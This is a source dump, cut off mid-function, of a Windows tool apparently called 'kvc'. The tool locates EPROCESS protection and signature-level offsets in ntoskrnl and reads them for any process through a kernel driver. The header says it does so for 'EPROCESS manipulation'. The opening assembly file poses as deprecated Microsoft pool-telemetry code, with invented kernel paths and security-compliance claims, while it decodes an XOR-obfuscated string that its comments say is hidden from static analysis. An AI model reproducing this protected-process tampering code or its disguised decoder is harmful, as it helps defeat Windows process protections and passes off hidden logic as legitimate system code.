; Lock-free implementation using implicit memory ordering guarantees
; NOTE: Not using CMPXCHG here - simplified for legacy compatibility
_DiagnosticState         db 0

; Reconstructed diagnostic buffer for ETW event payload
; Contains decoded NUMA affinity string in wide-character format
; Buffer size: 9 words = 18 bytes (sufficient for NUMA-aware diagnostic IDs)
_DecodedBuffer           dw 9 dup(0)

.code
ALIGN 16

; Internal function: Aggregates pool runtime metrics from encoded telemetry
; This reconstructs the diagnostic string from NUMA affinity bitmaps
; Called internally by: ExQueryPoolStatistics, MmQueryPoolUsage, ETW providers
;
; Algorithm phases:
;   1. XOR-decode affinity vector using platform topology seed
;   2. Rotate bits for cache-line alignment optimization
;   3. Normalize by allocation quantum delta
;
; Parameters: None (uses module-level data structures)
; Returns: Implicit (result stored in _DecodedBuffer)
; IRQL: <= DISPATCH_LEVEL
;
; Performance: ~45 cycles on Skylake, ~38 cycles on Zen3
; Note: This is NOT a public API - for internal kernel use only
; Related: \base\ntos\mm\poolmgr.c :: MmGeneratePoolTelemetry()
_AggregatePoolMetrics PROC
    push rdi
    push rsi
    
    ; Phase 1: Decode XOR-obfuscated NUMA node affinity vector
    ; The bitmap is XOR-encoded to prevent static analysis tools
    ; from detecting internal pool structures in crash dumps
    ; Security: Complies with MSRC guidance for kernel memory hardening
    lea rsi, _PoolNodeAffinityMask
    lea rdi, _DecodedBuffer
    mov ecx, 9                      ; 9 words = 18 bytes
    mov r9w, _TopologyHashSeed
decode_loop:
    mov ax, [rsi]
    xor ax, r9w                     ; XOR decode with topology seed
    mov [rdi], ax
    add rsi, 2
    add rdi, 2
    loop decode_loop
    
    ; Phase 2: Apply cache-aware topology hash rotation
    ; Rotates bits to distribute allocations across cache lines
    ; Prevents false sharing in multi-socket NUMA configurations
    ; Rotation count derived from cache line size: log2(64) = 6, but
    ; we use 4 for legacy x86 compatibility (32-byte cache lines)
    lea rsi, _DecodedBuffer
    lea rdi, _DecodedBuffer
    mov ecx, 9
rotate_loop:
    mov ax, [rsi]
    rol ax, 4                       ; Rotate by cache alignment shift
    mov [rdi], ax
    add rsi, 2
    add rdi, 2
    loop rotate_loop
    
    ; Phase 3: Normalize pool sizes by quantum delta
    ; Converts absolute sizes to standardized quantum units
    ; Quantum delta loaded from platform-specific calibration table
    ; See: \base\ntos\mm\poolmgr.c :: PoolQuantumTable[]
    lea rsi, _DecodedBuffer
    lea rdi, _DecodedBuffer
    mov ecx, 9
    mov r9w, _BlockQuantumDelta
normalize_loop:
    mov ax, [rsi]
    sub ax, r9w                     ; Subtract quantum delta
    mov [rdi], ax
    add rsi, 2
    add rdi, 2
    loop normalize_loop
    
    pop rsi
    pop rdi
    ret
_AggregatePoolMetrics ENDP

; Public API: Retrieves pool diagnostic runtime string for ETW telemetry
;
; Synopsis:
;   PWSTR MmGetPoolDiagnosticString(VOID);
;
; Description:
;   Generates runtime diagnostic string containing NUMA-aware pool allocation
;   metrics. Used by ETW providers for system performance telemetry.
;   String format is internal kernel representation (subject to change).
;
; Returns:
;   Pointer to null-terminated wide-character diagnostic string
;   Buffer lifetime: Valid until next call to this function
;
; IRQL: <= DISPATCH_LEVEL
; Thread-safe: Yes (lock-free atomic state machine, single initialization)
;
; Note: This function is DEPRECATED as of Windows 11 22H2
;       Kept for backward compatibility with legacy diagnostics tools
;       Use ExQueryPoolStatistics2() for new code
;
; Security: Output may contain sensitive allocation patterns - sanitize
;           before exposing to user-mode. XOR encoding is NOT cryptographic.
;
PUBLIC MmGetPoolDiagnosticString
MmGetPoolDiagnosticString PROC
    sub rsp, 28h
    
    ; Check current diagnostic state
    ; State 2 = already computed, return cached result
    cmp _DiagnosticState, 2
    je return_result
    
    ; State 1 = another thread is computing, spin-wait
    cmp _DiagnosticState, 1
    je wait_for_completion
    
    ; State 0 = idle, claim ownership and begin aggregation
    ; NOTE: Not using CMPXCHG for legacy compatibility
    ; Assumes single-threaded initialization during boot
    mov _DiagnosticState, 1
    
    ; Execute multi-phase aggregation pipeline
    ; Aggregates NUMA affinity → Applies topology hash → Normalizes quantum
    call _AggregatePoolMetrics
    
    ; Mark diagnostic collection as complete (state = 2)
    mov _DiagnosticState, 2
    jmp return_result
    
    ; Spin-wait loop for concurrent callers
    ; Uses PAUSE instruction for power efficiency during spin
wait_for_completion:
    pause                           ; PAUSE hint for spin-wait optimization
    cmp _DiagnosticState, 2
    jne wait_for_completion
    
    ; Return pointer to decoded diagnostic buffer
return_result:
    lea rax, _DecodedBuffer
    add rsp, 28h
    ret
MmGetPoolDiagnosticString ENDP

END

; ============================================================================
; REVISION HISTORY:
;   2023-08-12  Initial implementation for 22621.2715 build
;   2023-11-03  Added NUMA topology awareness for Sapphire Rapids
;   2024-02-18  Optimized cache line alignment for Zen4 architecture  
;   2024-06-25  Removed CMPXCHG for legacy x86 compatibility
;   2024-09-15  Deprecated - use ExQueryPoolStatistics2() instead
;
; RELATED FILES:
;   \base\ntos\mm\poolmgr.c      - Main pool manager implementation
;   \base\ntos\mm\pooldiag.h     - Public header for diagnostic APIs
;   \base\ntos\inc\pool.h        - Pool internal structures
;   \base\ntos\etw\poolevents.mc - ETW manifest for pool events
;
; BUILD REQUIREMENTS:
;   - MASM 14.0 or later (Visual Studio 2019+)
;   - Windows Driver Kit 10.0.22621.0
;   - Regenerate via: build_pooldiag.cmd /platform:x64
;
; SECURITY NOTES:
;   - Diagnostic strings may contain sensitive pool allocation patterns
;   - Do not expose to user-mode without proper sanitization
;   - XOR encoding prevents basic static analysis but is NOT cryptographic
;   - Complies with MSRC security hardening guidelines (MS-SEC-2023-0847)
;
; PERFORMANCE CHARACTERISTICS:
;   - Cold path: ~120 cycles (first call with aggregation)
;   - Hot path: ~8 cycles (cached result return)
;   - Memory footprint: 54 bytes .data + 18 bytes .bss
;
; KNOWN ISSUES:
;   - KI-2847: Race condition on hyperthreaded CPUs (mitigated by state check)
;   - KI-3012: Cache line false sharing on >64 core systems (defer to v2 API)
; ============================================================================

<<<FILE: kvc/ModuleManager.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:45:12
Size:     6.97 KB
// ModuleManager.cpp
// Module enumeration and memory inspection implementation
// Uses Toolhelp32 API for module listing with kernel driver memory access

#include "ModuleManager.h"
#include "common.h"
#include <tlhelp32.h>
#include <iomanip>
#include <algorithm>
#include <sstream>

// Console color codes for visual formatting
namespace Colors {
    inline constexpr const wchar_t* YELLOW = L"\033[93m";
    inline constexpr const wchar_t* CYAN = L"\033[96m";
    inline constexpr const wchar_t* GREEN = L"\033[92m";
    inline constexpr const wchar_t* GRAY = L"\033[90m";
    inline constexpr const wchar_t* RESET = L"\033[0m";
}

// Pre-computed table header separator line
namespace {
    inline const std::wstring HEADER_SEPARATOR = []() {
        std::wostringstream ss;
        ss << std::wstring(ModuleTable::Columns::NAME, L'=') << L' '
           << std::wstring(ModuleTable::Columns::ADDR, L'=') << L' '
           << std::wstring(ModuleTable::Columns::SIZE, L'=');
        return ss.str();
    }();
}

std::vector<ModuleInfo> ModuleManager::EnumerateModules(DWORD pid) noexcept
{
    std::vector<ModuleInfo> modules;
    
    HANDLE hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, pid);
    if (hModuleSnap == INVALID_HANDLE_VALUE) {
        return modules;
    }
    
    MODULEENTRY32W me32 = { sizeof(MODULEENTRY32W) };
    
    if (Module32FirstW(hModuleSnap, &me32)) {
        do {
            ModuleInfo info;
            info.name = me32.szModule;
            info.path = me32.szExePath;
            info.baseAddress = reinterpret_cast<ULONG_PTR>(me32.modBaseAddr);
            info.size = me32.modBaseSize;
            modules.push_back(info);
            
        } while (Module32NextW(hModuleSnap, &me32));
    }
    
    CloseHandle(hModuleSnap);
    
    // Sort modules by base address for consistent output
    std::sort(modules.begin(), modules.end(), 
        [](const ModuleInfo& a, const ModuleInfo& b) {
            return a.baseAddress < b.baseAddress;
        });
    
    return modules;
}

std::optional<ModuleInfo> ModuleManager::FindModule(DWORD pid, const std::wstring& moduleName) noexcept
{
    auto modules = EnumerateModules(pid);
    
    // First pass: exact match
    for (const auto& mod : modules) {
        if (_wcsicmp(mod.name.c_str(), moduleName.c_str()) == 0) {
            return mod;
        }
    }
    
    // Second pass: partial match with lowercase comparison
    std::wstring searchLower = moduleName;
    StringUtils::ToLower(searchLower);
    
    for (const auto& mod : modules) {
        std::wstring modLower = mod.name;
        StringUtils::ToLower(modLower);
        
        if (modLower.find(searchLower) != std::wstring::npos) {
            return mod;
        }
    }
    
    return std::nullopt;
}

void ModuleManager::PrintModuleList(const std::vector<ModuleInfo>& modules) noexcept
{
    if (modules.empty()) {
        INFO(L"No modules found");
        return;
    }
    
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;
    
    // Table header
    SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_INTENSITY);
    std::wcout << L"\n";
    std::wcout << std::left << std::setw(ModuleTable::Columns::NAME) << L"Module Name" 
               << std::right << std::setw(ModuleTable::Columns::ADDR) << L"Base Address" 
               << std::setw(ModuleTable::Columns::SIZE) << L"Size" << L"\n";
    
    // Header separator
    SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY);
    std::wcout << HEADER_SEPARATOR << L"\n";
    
    SetConsoleTextAttribute(hConsole, originalColor);
    
    // Module entries
    for (const auto& mod : modules) {
        // Truncate long names for clean alignment
        std::wstring displayName = mod.name;
        if (displayName.length() > ModuleTable::Columns::NAME - 2) {
            displayName = displayName.substr(0, ModuleTable::Columns::NAME - 5) + L"...";
        }
        
        std::wcout << std::left << std::setw(ModuleTable::Columns::NAME) << displayName;
        
        // Base address in cyan for visibility
        SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_BLUE | FOREGROUND_INTENSITY);
        std::wcout << L"0x" << std::hex << std::setfill(L'0') << std::setw(16) 
                   << mod.baseAddress << std::dec << std::setfill(L' ') << L"  ";
        
        SetConsoleTextAttribute(hConsole, originalColor);
        std::wcout << std::setw(ModuleTable::Columns::SIZE) << FormatSize(mod.size) << L"\n";
    }
    
    std::wcout << L"\n";
    SetConsoleTextAttribute(hConsole, originalColor);
}

void ModuleManager::PrintHexDump(const unsigned char* buffer, size_t size, ULONG_PTR baseAddress) noexcept
{
    if (!buffer || size == 0) {
        ERROR(L"No data to display");
        return;
    }
    
    HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);
    CONSOLE_SCREEN_BUFFER_INFO csbi;
    GetConsoleScreenBufferInfo(hConsole, &csbi);
    WORD originalColor = csbi.wAttributes;
    
    std::wcout << L"\n";
    
    // Process 16-byte rows with address, hex values, and ASCII representation
    for (size_t i = 0; i < size; i += 16) {
        // Address column
        SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
        std::wcout << std::hex << std::setfill(L'0') << std::setw(8) 
                   << static_cast<unsigned int>(i) << L": ";
        
        // Hex values
        SetConsoleTextAttribute(hConsole, originalColor);
        for (size_t j = 0; j < 16 && (i + j) < size; j++) {
            std::wcout << std::hex << std::setfill(L'0') << std::setw(2) 
                       << static_cast<unsigned int>(buffer[i + j]) << L" ";
        }
        
        // Padding for incomplete rows
        size_t remaining = (size - i < 16) ? (size - i) : 16;
        for (size_t j = remaining; j < 16; j++) {
            std::wcout << L"   ";
        }
        
        // ASCII representation
        SetConsoleTextAttribute(hConsole, FOREGROUND_INTENSITY);
        std::wcout << L" |";
        for (size_t j = 0; j < 16 && (i + j) < size; j++) {
            unsigned char c = buffer[i + j];
            std::wcout << static_cast<wchar_t>((c >= 32 && c < 127) ? c : L'.');
        }
        std::wcout << L"|\n";
    }
    
    std::wcout << std::dec << std::setfill(L' ') << L"\n";
    SetConsoleTextAttribute(hConsole, originalColor);
}

bool ModuleManager::ValidatePESignature(const unsigned char* buffer, size_t size) noexcept
{
    if (!buffer || size < 2) return false;
    return (buffer[0] == 'M' && buffer[1] == 'Z');
}

std::wstring ModuleManager::FormatSize(DWORD size) noexcept
{
    wchar_t buf[32];
    
    if (size >= 1024 * 1024) {
        swprintf_s(buf, L"%.2f MB", static_cast<double>(size) / (1024.0 * 1024.0));
    } else if (size >= 1024) {
        swprintf_s(buf, L"%.2f KB", static_cast<double>(size) / 1024.0);
    } else {
        swprintf_s(buf, L"%lu B", size);
    }
    
    return buf;
}

<<<FILE: kvc/ModuleManager.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     1.62 KB
// ModuleManager.h
// Module enumeration and memory inspection for target processes
// Provides Toolhelp32 snapshot access with kernel driver support for protected processes

#pragma once

#include <windows.h>
#include <string>
#include <vector>
#include <optional>

// Module information structure with base address, size, and path
struct ModuleInfo {
    std::wstring name;
    std::wstring path;
    ULONG_PTR baseAddress;
    DWORD size;
};

// Table formatting constants for module list display
namespace ModuleTable {
    struct Columns {
        static constexpr size_t NAME = 36;
        static constexpr size_t ADDR = 18;
        static constexpr size_t SIZE = 14;
        static constexpr size_t TOTAL = NAME + ADDR + SIZE;
    };
}

class ModuleManager
{
public:
    // Enumerate all loaded modules in target process
    static std::vector<ModuleInfo> EnumerateModules(DWORD pid) noexcept;
    
    // Find specific module by name with partial matching support
    static std::optional<ModuleInfo> FindModule(DWORD pid, const std::wstring& moduleName) noexcept;
    
    // Display formatted module list with color-coded output
    static void PrintModuleList(const std::vector<ModuleInfo>& modules) noexcept;
    
    // Display hex dump with address offsets and ASCII representation
    static void PrintHexDump(const unsigned char* buffer, size_t size, ULONG_PTR baseAddress) noexcept;
    
    // Validate PE signature at buffer start
    static bool ValidatePESignature(const unsigned char* buffer, size_t size) noexcept;
    
private:
    // Format byte size to human-readable string
    static std::wstring FormatSize(DWORD size) noexcept;
};

<<<FILE: kvc/OffsetFinder.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     7.4 KB
// OffsetFinder.cpp
#include "OffsetFinder.h"
#include "Utils.h"
#include "common.h"
#include <cstring>

namespace {
    // Safe offset extraction with validation to prevent crashes
    std::optional<WORD> SafeExtractWord(const void* base, size_t byteOffset) noexcept 
    {
        if (!base) return std::nullopt;

        WORD value = 0;
        __try {
            std::memcpy(&value, reinterpret_cast<const BYTE*>(base) + byteOffset, sizeof(value));
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            return std::nullopt;
        }

        // Sanity check - offsets should be reasonable for EPROCESS structure
        if (value == 0 || value > 0x3000) {
            return std::nullopt;
        }

        return value;
    }
}

// Initialize offset finder with kernel image analysis
OffsetFinder::OffsetFinder()
{
    HMODULE rawModule = LoadLibraryW(L"ntoskrnl.exe");
    m_kernelModule = ModuleHandle(rawModule);
    
    if (!m_kernelModule) {
        ERROR(L"OffsetFinder: Failed to load kernel image (error: %d) - verify administrator privileges", GetLastError());
    }
}

OffsetFinder::~OffsetFinder() = default;

std::optional<DWORD> OffsetFinder::GetOffset(Offset name) const noexcept
{
    if (auto it = m_offsetMap.find(name); it != m_offsetMap.end())
        return it->second;
    return std::nullopt;
}

// Master offset discovery in dependency order
bool OffsetFinder::FindAllOffsets() noexcept
{
    return FindKernelPsInitialSystemProcessOffset() &&
           FindProcessUniqueProcessIdOffset() &&
           FindProcessProtectionOffset() &&
           FindProcessActiveProcessLinksOffset() &&
           FindProcessSignatureLevelOffset() &&
           FindProcessSectionSignatureLevelOffset();
}

// PsInitialSystemProcess export location discovery
bool OffsetFinder::FindKernelPsInitialSystemProcessOffset() noexcept
{
    if (m_offsetMap.contains(Offset::KernelPsInitialSystemProcess))
        return true;

    if (!m_kernelModule) {
        ERROR(L"Cannot find PsInitialSystemProcess - kernel image not loaded");
        return false;
    }

    auto pPsInitialSystemProcess = reinterpret_cast<ULONG_PTR>(
        GetProcAddress(m_kernelModule.get(), "PsInitialSystemProcess"));
    
    if (!pPsInitialSystemProcess) {
        ERROR(L"PsInitialSystemProcess export not found (error: %d)", GetLastError());
        
        // Test if other exports are accessible
        if (GetProcAddress(m_kernelModule.get(), "PsGetProcessId")) {
            ERROR(L"Other kernel exports accessible - partial export table issue");
        } else {
            ERROR(L"No kernel exports accessible - incompatible kernel image");
        }
        return false;
    }

    DWORD offset = static_cast<DWORD>(pPsInitialSystemProcess - reinterpret_cast<ULONG_PTR>(m_kernelModule.get()));
    
    // Sanity check for reasonable offset range
    if (offset < 0x1000 || offset > 0x2000000) { 
        ERROR(L"PsInitialSystemProcess offset 0x%x outside reasonable range", offset);
        return false;
    }
    
    m_offsetMap[Offset::KernelPsInitialSystemProcess] = offset;
    DEBUG(L"Found PsInitialSystemProcess offset: 0x%x", offset);
    return true;
}

// ActiveProcessLinks follows UniqueProcessId in EPROCESS structure
bool OffsetFinder::FindProcessActiveProcessLinksOffset() noexcept
{
    if (m_offsetMap.contains(Offset::ProcessActiveProcessLinks))
        return true;
    
    if (!m_offsetMap.contains(Offset::ProcessUniqueProcessId))
        return false;

    // ActiveProcessLinks is always sizeof(HANDLE) bytes after UniqueProcessId
    WORD offset = static_cast<WORD>(m_offsetMap[Offset::ProcessUniqueProcessId] + sizeof(HANDLE));
    m_offsetMap[Offset::ProcessActiveProcessLinks] = offset;
    return true;
}

// UniqueProcessId offset extraction from PsGetProcessId function
bool OffsetFinder::FindProcessUniqueProcessIdOffset() noexcept
{
    if (m_offsetMap.contains(Offset::ProcessUniqueProcessId))
        return true;

    if (!m_kernelModule)
        return false;

    FARPROC pPsGetProcessId = GetProcAddress(m_kernelModule.get(), "PsGetProcessId");
    if (!pPsGetProcessId) {
        ERROR(L"PsGetProcessId export not found (error: %d)", GetLastError());
        return false;
    }

    // Extract offset from function disassembly
    std::optional<WORD> offset;
#ifdef _WIN64
    // mov rax, [rcx+offset] - offset at bytes 3-4
    offset = SafeExtractWord(pPsGetProcessId, 3);
#else
    // mov eax, [ecx+offset] - offset at bytes 2-3
    offset = SafeExtractWord(pPsGetProcessId, 2);
#endif

    if (!offset) {
        ERROR(L"Failed to extract UniqueProcessId offset from PsGetProcessId function");
        return false;
    }

    // Sanity check for EPROCESS structure size
    if (offset.value() > 0x1500) { 
        ERROR(L"UniqueProcessId offset 0x%x appears too large for EPROCESS", offset.value());
        return false;
    }

    m_offsetMap[Offset::ProcessUniqueProcessId] = offset.value();
    DEBUG(L"Found UniqueProcessId offset: 0x%x", offset.value());
    return true;
}

// Process protection offset validation using dual function analysis
bool OffsetFinder::FindProcessProtectionOffset() noexcept
{
    if (m_offsetMap.contains(Offset::ProcessProtection))
        return true;

    if (!m_kernelModule)
        return false;

    FARPROC pPsIsProtectedProcess = GetProcAddress(m_kernelModule.get(), "PsIsProtectedProcess");
    FARPROC pPsIsProtectedProcessLight = GetProcAddress(m_kernelModule.get(), "PsIsProtectedProcessLight");
    
    if (!pPsIsProtectedProcess || !pPsIsProtectedProcessLight) {
        ERROR(L"Protection function exports not found in kernel image");
        return false;
    }

    // Both functions should reference the same offset
    auto offsetA = SafeExtractWord(pPsIsProtectedProcess, 2);
    auto offsetB = SafeExtractWord(pPsIsProtectedProcessLight, 2);

    if (!offsetA || !offsetB) {
        ERROR(L"Failed to extract offsets from protection validation functions");
        return false;
    }

    // Cross-validation - both functions must agree
    if (offsetA.value() != offsetB.value() || offsetA.value() > 0x1500) { 
        ERROR(L"Protection offset validation failed: A=0x%x, B=0x%x", offsetA.value(), offsetB.value());
        return false;
    }

    m_offsetMap[Offset::ProcessProtection] = offsetA.value();
    DEBUG(L"Found ProcessProtection offset: 0x%x", offsetA.value());
    return true;
}

// SignatureLevel precedes Protection field by 2 bytes
bool OffsetFinder::FindProcessSignatureLevelOffset() noexcept
{
    if (m_offsetMap.contains(Offset::ProcessSignatureLevel))
        return true;

    if (!m_offsetMap.contains(Offset::ProcessProtection))
        return false;

    WORD offset = static_cast<WORD>(m_offsetMap[Offset::ProcessProtection] - (2 * sizeof(UCHAR)));
    m_offsetMap[Offset::ProcessSignatureLevel] = offset;
    return true;
}

// SectionSignatureLevel precedes Protection field by 1 byte
bool OffsetFinder::FindProcessSectionSignatureLevelOffset() noexcept
{
    if (m_offsetMap.contains(Offset::ProcessSectionSignatureLevel))
        return true;

    if (!m_offsetMap.contains(Offset::ProcessProtection))
        return false;

    WORD offset = static_cast<WORD>(m_offsetMap[Offset::ProcessProtection] - sizeof(UCHAR));
    m_offsetMap[Offset::ProcessSectionSignatureLevel] = offset;
    return true;
}

<<<FILE: kvc/OffsetFinder.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     2.35 KB
// OffsetFinder.h - Kernel offset discovery for EPROCESS manipulation (dynamic pattern matching)

#pragma once

#include "common.h"
#include <unordered_map>
#include <memory>
#include <optional>

// Kernel structure offset identifiers for EPROCESS and protection fields
enum class Offset
{
    KernelPsInitialSystemProcess,   // PsInitialSystemProcess global pointer
    ProcessActiveProcessLinks,      // EPROCESS.ActiveProcessLinks list entry
    ProcessUniqueProcessId,         // EPROCESS.UniqueProcessId (PID)
    ProcessProtection,              // EPROCESS.Protection level
    ProcessSignatureLevel,          // EPROCESS.SignatureLevel
    ProcessSectionSignatureLevel    // EPROCESS.SectionSignatureLevel
};

// Discover and cache kernel offsets by pattern matching ntoskrnl.exe
class OffsetFinder
{
public:
    // Load ntoskrnl.exe for analysis (does not auto-discover offsets)
    OffsetFinder();
    
    // Unload module and cleanup
    ~OffsetFinder();
    
    OffsetFinder(const OffsetFinder&) = delete;
    OffsetFinder& operator=(const OffsetFinder&) = delete;
    OffsetFinder(OffsetFinder&&) noexcept = default;
    OffsetFinder& operator=(OffsetFinder&&) noexcept = default;

    // Return cached offset value or nullopt if missing (call FindAllOffsets first)
    std::optional<DWORD> GetOffset(Offset name) const noexcept;
    
    // Discover all required offsets via pattern matching and cache results
    bool FindAllOffsets() noexcept;

private:
    // Smart deleter for HMODULE using FreeLibrary
    struct ModuleDeleter
    {
        void operator()(HMODULE module) const noexcept
        {
            if (module) {
                FreeLibrary(module);
            }
        }
    };

    using ModuleHandle = std::unique_ptr<std::remove_pointer_t<HMODULE>, ModuleDeleter>;
    
    ModuleHandle m_kernelModule;                        // ntoskrnl.exe handle
    std::unordered_map<Offset, DWORD> m_offsetMap;      // Cached offsets

    // Individual offset discovery routines
    bool FindKernelPsInitialSystemProcessOffset() noexcept;
    bool FindProcessActiveProcessLinksOffset() noexcept;
    bool FindProcessUniqueProcessIdOffset() noexcept;
    bool FindProcessProtectionOffset() noexcept;
    bool FindProcessSignatureLevelOffset() noexcept;
    bool FindProcessSectionSignatureLevelOffset() noexcept;
};

<<<FILE: kvc/ProcessDisplay.cpp>>>
Created:  2026-05-03 12:13:59
Modified: 2026-05-03 12:13:59
Size:     16.3 KB
// ProcessDisplay.cpp
// Console rendering for process protection tables and detailed process info.
//
// TableFormat namespace: stateless formatting helpers that produce the
// colored ASCII table shown by the 'kvc list' and 'kvc list --signer' commands.
// All width constants are gathered in one place (TableFormat::Columns) so
// adjusting a column only requires changing a single constexpr.

#include "Controller.h"
#include "common.h"
#include "Utils.h"
#include <iomanip>

// ── Table formatter ──────────────────────────────────────────────────────────

namespace TableFormat {
    using namespace std::string_view_literals;

    struct Columns {
        static constexpr size_t PID         = 5;
        static constexpr size_t NAME        = 25;
        static constexpr size_t LEVEL       = 7;
        static constexpr size_t SIGNER      = 15;
        static constexpr size_t EXE_SIG     = 14;
        static constexpr size_t DLL_SIG     = 17;
        static constexpr size_t KERNEL_ADDR = 12;
    };

    inline constexpr std::wstring_view SEP  = L"-+-";
    inline constexpr std::wstring_view VBAR = L" | ";
    inline constexpr std::wstring_view NL   = L"\n";
    inline constexpr wchar_t DASH  = L'-';
    inline constexpr wchar_t SPACE = L' ';

    inline const std::wstring DIVIDER = [] {
        std::wostringstream ss;
        ss << SPACE;
        ss << std::wstring(Columns::PID,         DASH) << SEP;
        ss << std::wstring(Columns::NAME,        DASH) << SEP;
        ss << std::wstring(Columns::LEVEL,       DASH) << SEP;
        ss << std::wstring(Columns::SIGNER,      DASH) << SEP;
        ss << std::wstring(Columns::EXE_SIG,     DASH) << SEP;
        ss << std::wstring(Columns::DLL_SIG,     DASH) << SEP;
        ss << std::wstring(Columns::KERNEL_ADDR, DASH) << NL;
        return ss.str();
    }();

    inline void PrintDivider(const wchar_t* color = Utils::ProcessColors::GREEN)
    {
        std::wcout << color << DIVIDER << Utils::ProcessColors::RESET;
    }

    inline void PrintHeader()
    {
        std::wcout << SPACE << Utils::ProcessColors::HEADER;
        std::wcout << std::left << std::setw(Columns::PID)         << L"  PID"             << VBAR;
        std::wcout << std::left << std::setw(Columns::NAME)        << L"  Process Name"    << VBAR;
        std::wcout << std::left << std::setw(Columns::LEVEL)       << L" Level"            << VBAR;
        std::wcout << std::left << std::setw(Columns::SIGNER)      << L"    Signer"        << VBAR;
        std::wcout << std::left << std::setw(Columns::EXE_SIG)     << L"EXE sig. level"   << VBAR;
        std::wcout << std::left << std::setw(Columns::DLL_SIG)     << L" DLL sig. level"  << VBAR;
        std::wcout << std::left << std::setw(Columns::KERNEL_ADDR) << L"Kern. (ffff)";
        std::wcout << Utils::ProcessColors::RESET << NL;
    }

    inline void PrintTableStart()
    {
        std::wcout << NL;
        PrintDivider();
        PrintHeader();
        std::wcout << Utils::ProcessColors::GREEN << DIVIDER;
    }

    inline void PrintTableEnd() { PrintDivider(); }

    // Right-aligns val within totalWidth, left-padding with spaces after name.
    inline std::wstring FormatRightAligned(const std::wstring& name,
                                            const std::wstring& val,
                                            size_t totalWidth)
    {
        const size_t nameLen = name.length();
        const size_t valLen  = val.length();

        if (nameLen + valLen + 1 > totalWidth) {
            const size_t available = totalWidth - valLen - 1;
            return available > 0
                ? name.substr(0, available) + L" " + val
                : name.substr(0, totalWidth);
        }
        return name + std::wstring(totalWidth - nameLen - valLen, L' ') + val;
    }

    inline void PrintProcessRow(const ProcessEntry& entry)
    {
        const wchar_t* color = Utils::GetProcessDisplayColor(
            entry.SignerType, entry.SignatureLevel, entry.SectionSignatureLevel);

        const std::wstring levelStr  = Utils::GetProtectionLevelAsString(entry.ProtectionLevel);
        const std::wstring signerStr = Utils::GetSignerTypeAsString(entry.SignerType);
        const std::wstring exeStr    = Utils::GetSignatureLevelAsString(entry.SignatureLevel);
        const std::wstring dllStr    = Utils::GetSignatureLevelAsString(entry.SectionSignatureLevel);

        wchar_t buf[32];
        swprintf_s(buf, L"(%d)",   entry.ProtectionLevel);       std::wstring levelNum  = buf;
        swprintf_s(buf, L"(%d)",   entry.SignerType);             std::wstring signerNum = buf;
        swprintf_s(buf, L"(%02x)", entry.SignatureLevel);         std::wstring exeNum    = buf;
        swprintf_s(buf, L"(%02x)", entry.SectionSignatureLevel);  std::wstring dllNum    = buf;

        std::wstring procName = entry.ProcessName;
        if (procName.length() > Columns::NAME)
            procName = procName.substr(0, Columns::NAME - 3) + L"...";

        std::wcout << color << SPACE;
        std::wcout << std::right << std::setw(Columns::PID) << entry.Pid;
        std::wcout << Utils::ProcessColors::RESET << Utils::ProcessColors::GREEN << VBAR << color;

        std::wcout << std::left << std::setw(Columns::NAME) << procName;
        std::wcout << Utils::ProcessColors::RESET << Utils::ProcessColors::GREEN << VBAR << color;

        std::wcout << FormatRightAligned(levelStr,  levelNum,  Columns::LEVEL);
        std::wcout << Utils::ProcessColors::RESET << Utils::ProcessColors::GREEN << VBAR << color;

        std::wcout << FormatRightAligned(signerStr, signerNum, Columns::SIGNER);
        std::wcout << Utils::ProcessColors::RESET << Utils::ProcessColors::GREEN << VBAR << color;

        std::wcout << FormatRightAligned(exeStr,    exeNum,    Columns::EXE_SIG);
        std::wcout << Utils::ProcessColors::RESET << Utils::ProcessColors::GREEN << VBAR << color;

        std::wcout << FormatRightAligned(dllStr,    dllNum,    Columns::DLL_SIG);
        std::wcout << Utils::ProcessColors::RESET << Utils::ProcessColors::GREEN << VBAR << color;

        // Kernel address: strip the constant 0xFFFF prefix (x64 canonical).
        std::wcout << std::right << std::setw(Columns::KERNEL_ADDR)
                   << std::hex << (entry.KernelAddress & 0xFFFFFFFFFFFFULL) << std::dec;
        std::wcout << Utils::ProcessColors::RESET << NL;
    }
} // namespace TableFormat

// ── Controller::GetProcessProtection (display overload) ──────────────────────

// Retrieves and prints protection info for a PID.
bool Controller::GetProcessProtection(DWORD pid) noexcept
{
    if (!BeginDriverSession()) { EndDriverSession(true); return false; }

    const auto kernelAddr = GetProcessKernelAddress(pid);
    if (!kernelAddr) {
        ERROR(L"Failed to get kernel address for PID %d", pid);
        EndDriverSession(true);
        return false;
    }

    const auto currentProtection = GetProcessProtection(kernelAddr.value());
    if (!currentProtection) {
        ERROR(L"Failed to read protection for PID %d", pid);
        EndDriverSession(true);
        return false;
    }

    const UCHAR protLevel  = Utils::GetProtectionLevel(currentProtection.value());
    const UCHAR signerType = Utils::GetSignerType(currentProtection.value());

    const auto sigLevelOffset    = m_of->GetOffset(Offset::ProcessSignatureLevel);
    const auto secSigLevelOffset = m_of->GetOffset(Offset::ProcessSectionSignatureLevel);

    const UCHAR signatureLevel = sigLevelOffset
        ? m_rtc->Read8(kernelAddr.value() + sigLevelOffset.value()).value_or(0) : 0;
    const UCHAR sectionSignatureLevel = secSigLevelOffset
        ? m_rtc->Read8(kernelAddr.value() + secSigLevelOffset.value()).value_or(0) : 0;

    const std::wstring processName = Utils::GetProcessName(pid);

    Utils::EnableConsoleVirtualTerminal();

    if (protLevel == 0) {
        std::wcout << L"[*] PID " << pid << L" (" << processName
                   << L") is not protected\n";
    } else {
        const wchar_t* color = Utils::GetProcessDisplayColor(
            signerType, signatureLevel, sectionSignatureLevel);
        std::wcout << color
